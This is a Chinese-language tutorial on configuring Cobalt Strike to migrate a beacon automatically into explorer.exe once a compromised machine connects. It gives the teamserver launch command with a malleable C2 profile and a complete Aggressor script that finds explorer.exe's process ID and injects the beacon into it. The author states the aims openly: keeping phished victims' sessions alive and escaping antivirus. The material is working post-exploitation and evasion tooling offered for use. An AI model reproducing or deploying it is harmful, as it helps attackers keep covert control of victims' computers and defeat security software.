Cobalt strike上线后自动迁移进程

题记

很久之前我看到公众号讲进程迁移的文章，cs上线机器如果你不知道上线时间的话很有可能机器刚上线就跑了（例如xss的flash钓鱼大法），在比如遇到杀软被杀的话，如果进程迁移的快很可能我们就成功了。所以这里研究一下cs上线机器自动进行进程迁移migrate。

1 加载自定义 malleable C2配置文件

下载地址：https://github.com/threatexpress/malleable-c2

我的cs是4.2，所以我这里用的是4.2的配置文件。

2 下载后放到cs服务器的位置

这里注意我运行的时候爆出时间那块错误，我就把那块注释了，注释后成功运行。

　　执行./teamserver 192.168.1.119 love jquery-c2.4.2.profile或者

　　nohup ./teamserver 192.168.1.119 love jquery-c2.4.2.profile > /dev/null 2>&1 &

还有别忘了设置迁移时间。

修改后启动cs，成功启动。

3 cs客户端配置cna插件

把下面代码复制到cna文件中，然后放到cs客户端中即可。

on beacon_initial

{

sub callback

{

$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';

$listener = "test";

if ($2 ismatch $regex)

{

$pid = matched()[1];

$inject_pid = $pid;

if (-is64 $1)

{

$arch = "x64";

}

else

{

$arch = "x86";

}

binject($1, $pid, $listener, $arch);

}

}

if($inject_pid != beacon_info($1,"pid"))

{

bps($1, &callback);

}

}